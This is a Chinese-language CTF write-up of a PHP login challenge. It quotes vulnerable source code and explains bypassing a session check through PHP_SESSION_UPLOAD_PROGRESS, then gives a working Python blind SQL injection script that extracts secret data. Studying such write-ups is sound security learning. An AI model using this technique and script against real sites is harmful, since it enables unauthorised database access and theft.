这题单独拿出来,因为有好多知识点
打开靶机,一个登录和一个注册页面。根据题目名称fuzz一波,发现注册页面和登录页面都没有注入点。
源代码中发现源码泄露source.zip。下载
在templates中的login.php发现注入点
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECTusername
,password
FROMptbctf
.ptbctf
whereusername
="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
可以发现username为注入点,password因为有md5加密,所以构不成注入。fuzz时还发现过滤了 ‘ 根据语句 使用\逃逸引号并用#闭合构造查询语句。这里我们已经知道数据库名为ptbctf了
<?php
session_start();
foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value){
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
google后发现
There seems to be some
addslashes
bypasses based on multi-byte encodings like described here, but they usually depend on some kind of weird charset being using with MySQL. We revisted the “direct access protection” oftemplates/login.php
, which depends onsession_start()
being called before. I remembered from HITCON CTF 2018 thatPHP_SESSION_UPLOAD_PROGRESS
can be used to force PHP to initialize$_SESSION
to bypassing the check.
大概意思是如果我们强制登录的话,系统不会处理我们的请求,需要强制初始化session来绕过验证
’‘The PHP check the value
session.auto_start
or functionsession_start()
to know whether it need to process session on current request or not. Unfortunately, the default value ofsession.auto_start
isOff
. However, it’s interesting that if you provide thePHP_SESSION_UPLOAD_PROGRESS
in multipart POST data. The PHP will enable the session for you’‘
这意思大概是PHP检查值<span style="color: #ff0000;">session.auto_start</span>
或函数<span style="color: #ff0000;">session_start()</span>
以了解是否需要处理当前请求的会话,但是如果不包含直接传入,则不会请求会话,但是如果以post方式传入<span style="color: #ff0000;">PHP_SESSION_UPLOAD_PROGRESS</span>
的话,php就会默认打开会话
在post 提交之 multipart/form-data; boundary= ...这篇文章中还接好了如何模拟<span style="color: #ff0000;">multipart/form-data</span>
请求以及构建方法,我们可以发现,一般<span style="color: #ff0000;">multipart/form-data</span>
请求请求体的格式用在网站登录上,而我们正需要登录某网站
我们设置好boundary的值,并以post方式传入boundary值为名的数据,设置name为<span style="color: #ff0000;">PHP_SESSION_UPLOAD_PROGRESS</span>
随便传入些数据并结尾,即可完成强制绕过
有了这些知识,我们大概就有了脚本思路,构建<span style="color: #ff0000;">Cooike</span>
并强制传入<span style="color: #ff0000;">PHPSESSID</span>
,传入<span style="color: #ff0000;">PHP_SESSION_UPLOAD_PROGRESS</span>
有关数据,执行盲注
import requests
result =''
url = 'http://c8523a02-f61f-4319-b6eb-85b65874a19e.node3.buuoj.cn/templates/login.php?username='
data = '''------ha1c9on
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ha1c9on
------ha1c9on--'''
headers = {'Cookie' : 'PHPSESSID=ha1c9on;',
'Content-Type':'multipart/form-data; boundary=----ha1c9on'}
for x in range(1,10000):
for i in range(32,128):
payload = "1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23".format(i,x);
r = requests.post(url+payload,headers=headers,data=data)
if "Try again!" not in r.text:
result += chr(i)
print(result)
break;
else:
continue;
if result[-1]=="}":
break;
跑一会儿就会获得flag